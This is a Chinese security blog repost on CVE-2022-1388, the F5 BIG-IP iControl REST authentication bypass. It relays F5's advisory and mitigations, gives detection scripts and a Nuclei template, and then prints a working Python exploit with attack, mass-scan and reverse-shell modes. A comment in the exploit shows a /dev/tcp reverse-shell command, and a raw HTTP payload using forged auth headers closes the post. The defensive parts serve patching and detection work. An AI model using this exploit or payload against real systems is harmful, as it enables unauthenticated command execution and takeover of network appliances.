CVE-2022-1388 exp F5 BIG-IP未授权RCE漏洞

admin 2022年5月10日22:49:31评论121 views字数 14962阅读49分52秒阅读模式

转载:https://www.ddosi.org/cve-2022-1388

排版:释然IT杂谈

一、漏洞描述:
在 F5 BIG-IP 16.1.x 16.1.2.2 之前的版本、15.1.5.1 之前的 15.1.x 版本、14.1.4.6 之前的 14.1.x 版本、13.1.5 之前的 13.1.x 版本以及所有 12.1.x和 11.6.x 版本,未公开的请求可能会绕过 iControl REST 身份验证。注意:未评估已达到技术支持终止 (EoTS) 的软件版本.
二、漏洞影响:
此漏洞可能允许未经身份验证的攻击者通过管理端口和/或自身 IP 地址对 BIG-IP 系统进行网络访问,以执行任意系统命令、创建或删除文件或禁用服务。没有数据平面暴露;这只是一个控制平面问题。
三、安全咨询状态:
F5 Product Development 已为此漏洞分配了 ID 1033837、1051561 和 1052837 (BIG-IP)。此问题已归类为CWE-306:缺少关键功能的身份验证https://cwe.mitre.org/data/definitions/306.html
要确定您的产品和版本是否已针对此漏洞进行评估,请参阅适用于(查看版本)框。要确定您的版本是否已知易受攻击、受该漏洞影响的组件或功能,以及有关解决该漏洞的版本、定点版本或修补程序的信息,请参阅下表。有关安全建议版本控制的更多信息,请参阅K51812227:了解安全建议版本控制https://support.f5.com/csp/article/K51812227
注意:为给定的次要分支引入修复后,该修复适用于该分支的所有后续维护和点发布,并且不会在表中列出该分支的其他修复。例如,当在 14.1.2.3 中引入修复时,该修复也适用于 14.1.2.4 以及所有更高的 14.1.x 版本(14.1.3.x.、14.1.4.x)。有关详细信息,请参阅K51812227:了解安全公告版本控制(https://support.f5.com/csp/article/K51812227。此外,在本文的适用于(查看版本)框中列出的软件版本之前的软件版本已达到其生命周期的技术支持结束 (EoTS) 阶段,不再针对安全问题进行评估。有关详细信息,请参阅安全修补程序部分K4602:F5 安全漏洞响应策略概述https://support.f5.com/csp/article/K4602
四、受影响版本列表:

CVE-2022-1388 exp F5 BIG-IP未授权RCE漏洞

1、F5 仅评估尚未达到其生命周期的技术支持结束 (EoTS) 阶段的软件版本。
2、 CVSSv3 分数链接会将您带到 AskF5 之外的资源,并且该文档可能会在我们不知情的情况下被删除。
3、如果您的公共云提供商的市场没有图像中引入的修复程序,您可以通过传统的实时安装过程升级您现有的公共云 BIG-IP 部署。有关升级或更新 BIG-IP 部署的信息,请参阅BIG-IP 更新和升级指南https://support.f5.com/csp/article/K84205182。对于需要新图像的情况,您可以使用固定版本创建自定义图像。有关为公共云创建自定义映像的信息,请参阅K18908626:为公共云创建自定义映像https://support.f5.com/csp/article/K18908626
五、建议操作:
如果您正在运行已知易受攻击的版本列中列出的版本,则可以通过安装列中引入的修复中列出的版本来消除此漏洞。如果列中引入的修复未列出您的分支的版本,则该分支当前不存在更新候选,F5 建议升级到具有修复的版本(请参阅表)。
如果列中引入的修复列出了您正在运行的版本之前的版本,在同一个分支中,那么您的版本应该有修复。

六、缓解措施:

在可以安装修复版本之前,您可以使用以下部分作为临时缓解措施。这些缓解措施将对 iControl REST 的访问限制为仅受信任的网络或设备,从而限制了攻击面。
  • 通过自身 IP 地址阻止 iControl REST 访问 

    https://support.f5.com/csp/article/K23605346#proc1

  • 通过管理界面阻止 iControl REST 访问 

https://support.f5.com/csp/article/K23605346#proc2

  • 修改 BIG-IP httpd 配置

https://support.f5.com/csp/article/K23605346#proc3

通过自身 IP 地址阻止 iControl REST 访问

您可以通过自有 IP 地址阻止对 BIG-IP 系统的 iControl REST 接口的所有访问。为此,您可以将系统中每个自身 IP 地址的端口锁定设置更改为允许无。如果您必须打开任何端口,您应该使用允许自定义选项,注意禁止访问 iControl REST。默认情况下,iControl REST 在单个 NIC BIG-IP VE 实例上侦听 TCP 端口 443 或 TCP 端口 8443。如果您修改了默认端口,请确保您禁止访问您配置的备用端口。

注意:执行此操作会阻止使用自身 IP 地址访问配置实用程序和 iControl REST。这些更改还可能影响其他服务,包括破坏高可用性 (HA) 配置。


在您更改自己的 IP 地址配置之前,F5 强烈建议您参考以下文章:
  • K17333:端口锁定行为概述 (12.x – 16.x) 

https://support.f5.com/csp/article/K17333

  • K13092:保护对 BIG-IP 系统的访问的概述 

https://support.f5.com/csp/article/K13092

  • K31003634:单网卡 BIG-IP 虚拟版的配置实用程序现在默认使用 TCP 端口 8443

https://support.f5.com/csp/article/K31003634

  • K51358480:单网卡 BIG-IP VE 可能会在重新加载配置后错误地恢复为默认管理 httpd 端口

https://support.f5.com/csp/article/K51358480
如果您必须在自己的 IP 地址上公开端口 443 并希望限制对特定 IP 范围的访问,您可以考虑使用 BIG-IP 系统中内置的数据包过滤功能。有关详细信息,请参阅以下文章:
  • K13383:为 BIG-IP 数据包过滤器配置 CIDR 网络地址

    https://support.f5.com/csp/article/K13383


通过管理界面阻止 iControl REST 访问

要缓解受影响的 F5 产品的此漏洞,您应该将管理访问权限限制为仅对安全网络上的受信任用户和设备进行。有关保护对 BIG-IP 系统的访问的更多信息,请参阅以下文章:
  • K13092:保护对 BIG-IP 系统的访问的概述

https://support.f5.com/csp/article/K13092

  • K46122561:使用网络防火墙规则限制对管理界面的访问

https://support.f5.com/csp/article/K46122561

  • K69354049:使用 iptables 限制对 Configuration Utility 和 iControl REST 服务的 BIG-IP 管理界面的访问

https://support.f5.com/csp/article/K69354049

注意:在httpd中通过 IP 地址限制对管理界面的访问不是解决此问题的可行方法。


修改 BIG-IP httpd 配置

除了通过自身 IP 地址和管理界面阻止访问之外,或者如果这些选项在您的环境中不可用,则作为阻止访问的替代方法,您可以修改 BIG-IP httpd配置以缓解此问题。
  • BIG-IP 14.1.0 及更高版本

https://support.f5.com/csp/article/K23605346#proc3a

  • BIG-IP 14.0.0 及更早版本

https://support.f5.com/csp/article/K23605346#proc3b

BIG-IP 14.1.0 及更高版本

程序的影响:执行以下程序不会对您的系统产生负面影响
输入以下命令, 登录 BIG-IP 系统的 TMOS Shell ( tmsh ):
tmsh
通过输入以下命令 打开httpd配置进行编辑:编辑 /sys httpd 所有属性
edit /sys httpd all-properties
找到以include none开头的行并将none替换为以下文本:注意:如果当前的include语句已经包含非none的配置,请将以下配置添加到当前配置的末尾,在现有的双引号字符 ( “ ) 内。
"<If "%{HTTP:connection} =~ /close/i ">
RequestHeader set connection close
</If>
<ElseIf "%{HTTP:connection} =~ /keep-alive/i ">
RequestHeader set connection keep-alive
</ElseIf>
<Else>
    RequestHeader set connection close
</Else>"
更新include语句后,使用ESC键退出编辑器交互模式,然后输入以下命令保存更改:
:wq

在保存更改 (y/n/e)提示下,选择y以保存更改。

通过输入以下命令保存 BIG-IP 配置:

save /sys config

BIG-IP 14.0.0 及更早版本

程序的影响:执行以下程序不会对您的系统产生负面影响。

通过输入以下命令 登录到BIG-IP 系统的tmsh :

tmsh
通过输入以下命令 打开httpd配置进行编辑:
edit /sys httpd all-properties
找到以include none开头的行并将none替换为以下文本:注意:如果当前的include语句已经包含非none的配置,请将以下配置添加到当前配置的末尾,在现有的双引号字符 ( “ ) 内。
"RequestHeader set connection close"
更新include语句后,使用ESC键退出编辑器交互模式,然后输入以下命令保存更改:
:wq

在保存更改 (y/n/e)提示下,选择y以保存更改。

通过输入以下命令保存 BIG-IP 配置:

save /sys config
from(https://support.f5.com/csp/article/K23605346)
七、漏洞检测脚本1:

https://github.com/jheeree/CVE-2022-1388-checker/blob/main/CVE-2022-1388.sh

CVE-2022-1388.sh:

#!/bin/bash
#-*- ENCODINGUTF-8 -*-
Simple CVE-2022-1388 checker


archivo=$1
barra=`echo "-------------------------------------------------"`
dt=`date +"%Y_%m_%d_%H%M%S"`

#-------Colores-------
endColour="33[0me[0m"
redColour="
e[0;31m33[1m"
grayColour="
e[0;37m33[1m"
greenColour="
e[0;32m33[1m"

function helpPanel (){
 echo -e "
nt[+]
 Uso: ./CVE-2022-1388.sh hosts.txt"
 exit 1
}

if [ -f $dt"/temp.tmp" ];then
   rm -f $dt"/temp.tmp"
fi

function checker (){
 carpeta=`mkdir $dt`
 for ip in $(cat $archivo | sort -u );do
  request=`curl -sk --max-time 2 "https://$ip/mgmt/shared/authn/login" | grep -q "resterrorresponse"`
  if [ $? -eq 0 ]; then
   echo $barra
   echo -e "
[x] Host: $ip F5 iControl Rest API exposed" >> $dt"/report.txt"
   echo -e "
${redColour}"$(tail -n1 $dt"/report.txt")"${endColour}"
  else
   echo $barra
   echo -e "[✔] Host: $ip No Detectado" >> $dt"/report.txt"
   echo -e "${greenColour}"$(tail -n1 $dt"/report.txt")"${endColour}"
  fi
 done

 echo $barrasleep 1
 echo -e "  ${greenColour}[✔]${endColour}${grayColour} Total equipos OK:    ${endColour}${greenColour}"$(cat $dt"/report.txt" | grep "[✔]" | wc -l)"${endColour}"
 echo $barrasleep 1
 echo -e "  ${redColour}[x]${endColour}${grayColour} Total equipos detectados:    ${endColour}${redColour}"$(cat $dt"/report.txt" | grep "[x]" | wc -l)"${endColour}"
 echo $barrasleep 1
 rm -f $dt"/temp.tmp" >/dev/null 2>&1
 exit 0
}


if [ $# -eq 0 ]then
 helpPanel
else
 checker
fi

CVE-2022-1388 exp F5 BIG-IP未授权RCE漏洞

使用方法:
./CVE-2022-1388.sh hosts.txt
八、漏洞检测脚本2 Nuclei模板:

https://github.com/MrCl0wnLab/Nuclei-Template-CVE-2022-1388-BIG-IP-iControl-REST-Exposed

这仅通过点击身份验证端点来验证 API 的存在

CVE-2022-1388.yaml:

idbigip-icontrol-rest

info:
  nameF5 BIG-IP iControl REST Panel
  authorMrCl0wnLab
  severityinfo
  description: |
   Undisclosed requests may bypass iControl REST authentication.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1388
    - https://support.f5.com/csp/article/K23605346
    - https://clouddocs.f5.com/products/big-iq/mgmt-api/v5.4/ApiReferences/bigiq_api_ref/r_auth_login.html
  metadata:
    shodan-queryhttp.title:"BIG-IP&reg;-+Redirect" +"Server"
  classification:
    cve-idCVE-2022-1388
    cwe-idCWE-306
  tagscve,cve2022,bigip,f5icontrol

requests:
  - methodGET
    path:
      - "{{BaseURL}}/mgmt/shared/authn/login"
    headers:
      User-Agent: "Mozilla/5.0 (Windows NT 6.1Win64x64rv:47.0) Gecko/20100101 Firefox/47.0"

    matchers:
      - typeword
        partbody
        words:
          - "resterrorresponse"
          - "message"
      - typestatus
        status:
          - 401

CVE-2022-1388 exp F5 BIG-IP未授权RCE漏洞

这个模板是一个简单的检查

发送请求:

路径:

{{BaseURL}}/mgmt/shared/authn/login
匹配器:
  字:
    “resterrorresponse
    “message
  状态码:
    401

POC 手册:

curl -sk --max-time 2 "https://{TARGET}/mgmt/shared/authn/login" | egrep  "message|resterrorresponse" | jq

返回:

{
    "code": 401,
    "message": "Authorization failed: no user authentication header or token detected. Uri:http://localhost:8100/mgmt/shared/authn/login   Referrer:xxx.xxx.177.228 Sender:xxx.xxx.177.228",
    "
referer": "xxx.xxx.177.228",
    "
restOperationId": 1461894338,
    "
kind": ":resterrorresponse"
}
九、漏洞检测脚本3:

https://github.com/bytecaps/CVE-2022-1388-EXP/blob/main/check.py

CVE-2022-1388-check.py:


#!/usr/bin/python3.9
-*- codingutf-8 -*-
#
Copyright (C) 2021 CapsIncAll Rights Reserved
#
@Time    : 2022/5/7 23:40
# @Author  : Caps
# @Email   : [email protected]
# @File    : check.py
# @Software: PyCharm
import requests
import argparse

requests.packages.urllib3.disable_warnings()


def usage():
    print('''
    +-----------------------------------------------------------------+
    漏洞名称: F5 BIG-IP iControl Rest API exposed Check
    功能:单个检测,批量检测                                     
    单个检测:python exp.py -u url
    批量检测:python exp.py -f url.txt
    +-----------------------------------------------------------------+                                     
    '''
)


def check(url):
    try:
        target_url = url + "/mgmt/shared/authn/login"
        res = requests.get(target_url, verify=False, timeout=3)
        if "resterrorresponse" in res.text:
            print(f"33[0;31;22m[+] Host: {url} F5 iControl Rest API exposed 33[0m")
        else:
            print(f"33[0;32;22m[-] Host: {url} F5 not vulnerability 33[0m")
    except Exception as e:
        print(f"33[0;33;22m[x] Host: {url} Connection Fail 33[0m")


def run(filepath):
    urls = [x.strip() for x in open(filepath, "r").readlines()]
    for u in urls:
        check(u)
    return check


def main():
    parse = argparse.ArgumentParser()
    parse.add_argument("-u""--url", help="Please Poc.py -u host")
    parse.add_argument("-f""--file", help="Please poc.py -f file")
    args = parse.parse_args()
    url = args.url
    filepath = args.file
    if url is not None and filepath is None:
        check(url)
    elif url is None and filepath is not None:
        run(filepath)
    else:
        usage()


if __name__ == '__main__':
    main()

使用方法:

└─# python3 check.py                

    +-----------------------------------------------------------------+
    漏洞名称: F5 BIG-IP iControl Rest API exposed Check
    功能:单个检测,批量检测                                     
    单个检测:python exp.py -u url
    批量检测:python exp.py -f url.txt
    +-----------------------------------------------------------------+

CVE-2022-1388 exp F5 BIG-IP未授权RCE漏洞

CVE-2022-1388 Exp

CVE-2022-1388-exp.py

CVE-2022-1388 F5 BIG-IP RCE 批量检测

#!/usr/bin/python3.9
-*- codingutf-8 -*-
#
Copyright (C) 2021 CapsIncAll Rights Reserved 
#
@Time    : 2022/5/9 16:52
# @Author  : Caps
# @Email   : [email protected]
# @File    : CVE-2022-1388.py
# @Software: PyCharm
import requests
import sys
import argparse
import json
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

t = int(time.time())


def title():
    print('''
     _____  _   _  _____        _____  _____  _____  _____        __   _____  _____  _____ 
    /  __ | | | ||  ___|      / __  |  _  |/ __  / __        /  | |____ ||  _  ||  _  |
    | /  /| | | || |__  ______`'
 / /'| |/' |`' / /'`' / /'______`| |     / /  V /   V / 
    | |    | | | ||  __||______| / /  |  /| |  / /    / / |______|| |       / _   / _  
    | __/\ _/ /| |___       ./ /___ |_/ /./ /___./ /___      _| |_.___/ /| |_| || |_| |
     ____/ ___/ ____/       _____/ ___/ _____/_____/      ___/____/ _____/_____/                                                                                                                                                                                                                                                          
                                                        Author:Caps@BUGFOR
                                                        Github:https://github.com/bytecaps
    ''')
    print('
''
        验证模式:python CVE_2022_1388.py -v true -u target_url
        攻击模式:python CVE_2022_1388.py -a true -u target_url -c command
        批量检测:python CVE_2022_1388.py -s true -f file
        反弹模式:python CVE_2022_1388.py -r true -u target_url -c command
        ''')


def headers():
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",
        '
Content-Type': 'application/json',
        '
Connection': 'keep-alive, x-F5-Auth-Token',
        '
X-F5-Auth-Token': 'a',
        '
Authorization': 'Basic YWRtaW46'
    }
    return headers


def check(target_url):
    check_url = target_url + '
/mgmt/tm/util/bash'
    data = {'
command': "run", 'utilCmdArgs': "-c id"}
    try:
        response = requests.post(url=check_url, json=data, headers=headers(), verify=False, timeout=5)
        if response.status_code == 200 and '
commandResult' in response.text:
            print("[+] 目标 {} 存在漏洞".format(target_url))
        else:
            print("[-] 目标 {} 不存在漏洞".format(target_url))
    except Exception as e:
        print('
url 访问异常 {0}'.format(target_url))


def attack(target_urlcmd):
    attack_url = target_url + '/mgmt/tm/util/bash'
    data = {'command': "run", 'utilCmdArgs': "-c '{0}'".format(cmd)}
    try:
        response = requests.post(url=attack_urljson=dataheaders=headers(), verify=Falsetimeout=5)
        if response.status_code == 200 and 'commandResultin response.text:
            default = json.loads(response.text)
            display = default['commandResult']
            print("[+] 目标 {} 存在漏洞".format(target_url))
            print('[+] 响应为:{0}'.format(display))
        else:
            print("[-] 目标 {} 不存在漏洞".format(target_url))
    except Exception as e:
        print('url 访问异常 {0}'.format(target_url))


def reverse_shell(target_urlcommand):
    reverse_url = target_url + '/mgmt/tm/util/bash'
    data = {'command': "run", 'utilCmdArgs': "-c '{0}'".format(command)}
    # commandbash -i >&/dev/tcp/192.168.174.129/8888 0>&1
    try:
        requests.post(url=reverse_urljson=dataheaders=headers(), verify=Falsetimeout=5)
    except Exception as e:
        print("[+] 请自行查看是否反弹shell回来")


def scan(file):
    for url_link in open(file, 'r', encoding='utf-8'):
        if url_link.strip() != '':
            url_path = format_url(url_link.strip())
            check(url_path)


def format_url(url):
    try:
        if url[:4] != "http":
            url = "https://" + url
            url = url.strip()
        return url
    except Exception as e:
        print('URL 错误 {0}'.format(url))


def main():
    parser = argparse.ArgumentParser("F5 Big-IP RCE")
    parser.add_argument('-v', '--verify', type=boolhelp=' 验证模式 ')
    parser.add_argument('-u', '--url', type=strhelp=' 目标URL ')

    parser.add_argument('-a', '--attack', type=boolhelp=' 攻击模式 ')
    parser.add_argument('-c', '--command', type=strdefault="id", help=' 执行命令 ')

    parser.add_argument('-s', '--scan', type=boolhelp=' 批量模式 ')
    parser.add_argument('-f', '--file', type=strhelp=' 文件路径 ')

    parser.add_argument('-r', '--shell', type=boolhelp=' 反弹shell模式 ')
    args = parser.parse_args()

    verify_model = args.verify
    url = args.url

    attack_model = args.attack
    command = args.command

    scan_model = args.scan
    file = args.file

    shell_model = args.shell

    if verify_model is True and url is not None:
        check(url)
    elif attack_model is True and url is not None and command is not None:
        attack(urlcommand)
    elif scan_model is True and file is not None:
        scan(file)
    elif shell_model is True and url is not None and command is not None:
        reverse_shell(urlcommand)
    else:
        sys.exit(0)


if __name__ == '__main__':
    title()
    main()

CVE-2022-1388 exp F5 BIG-IP未授权RCE漏洞

简单来说exp如下所示:

POST /mgmt/tm/util/bash HTTP/1.1
Host
X-F5-Auth-Tokena
AuthorizationBasic YWRtaW46

Connectionkeep-alivex-F5-Auth-Token
Content-Length: 0
Cache-Controlmax-age=0
{
"command":"run",
"utilCmdArgs":"-c id"
}

CVE-2022-1388 exp F5 BIG-IP未授权RCE漏洞

CVE-2022-1388 exp F5 BIG-IP未授权RCE漏洞

CVE-2022-1388 exp F5 BIG-IP未授权RCE漏洞

原文始发于微信公众号(释然IT杂谈):CVE-2022-1388 exp F5 BIG-IP未授权RCE漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月10日22:49:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2022-1388 exp F5 BIG-IP未授权RCE漏洞http://cn-sec.com/archives/994202.html

发表评论

匿名网友 填写信息